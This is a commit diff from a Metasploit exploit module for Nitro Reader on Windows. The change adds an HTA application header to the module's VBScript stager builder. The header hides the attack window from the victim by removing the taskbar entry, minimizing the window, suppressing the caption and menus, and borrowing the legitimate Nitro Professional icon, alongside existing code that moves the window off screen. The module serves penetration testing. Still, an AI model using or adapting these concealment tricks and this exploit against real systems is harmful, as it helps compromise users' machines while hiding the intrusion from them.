Skip to content

Commit 14ca2ed

Browse files
committed
Added a icon loading trick by Brendan
1 parent b2a002a commit 14ca2ed

File tree

1 file changed

+20
-3
lines changed

1 file changed

+20
-3
lines changed

modules/exploits/windows/fileformat/nitro_reader_jsapi.rb

Lines changed: 20 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,9 @@ def initialize(info={})
2525
'License' => MSF_LICENSE,
2626
'Author' =>
2727
[
28-
'mr_me <steven[at]srcincite.io>', # vulnerability discovery and exploit
29-
'sinn3r' # help with msf foo!
28+
'mr_me <steven[at]srcincite.io>', # vulnerability discovery and exploit
29+
'Brendan Coles <bcoles [at] gmail.com>', # hidden hta tricks!
30+
'sinn3r' # help with msf foo!
3031
],
3132
'References' =>
3233
[
@@ -55,7 +56,23 @@ def initialize(info={})
5556
def build_vbs(url, stager_name)
5657
name_xmlhttp = rand_text_alpha(2)
5758
name_adodb = rand_text_alpha(2)
58-
vbs = %Q|<style>* { visibility: hidden; }</style>
59+
vbs = %Q|<head><hta:application
60+
applicationname="#{@payload_name}"
61+
border="none"
62+
borderstyle="normal"
63+
caption="false"
64+
contextmenu="false"
65+
icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico"
66+
maximizebutton="false"
67+
minimizebutton="false"
68+
navigable="false"
69+
scroll="false"
70+
selection="false"
71+
showintaskbar="No"
72+
sysmenu="false"
73+
version="1.0"
74+
windowstate="Minimize"></head>
75+
<style>* { visibility: hidden; }</style>
5976
<script language="VBScript">
6077
window.resizeTo 1,1
6178
window.moveTo -2000,-2000

0 commit comments

Comments
 (0)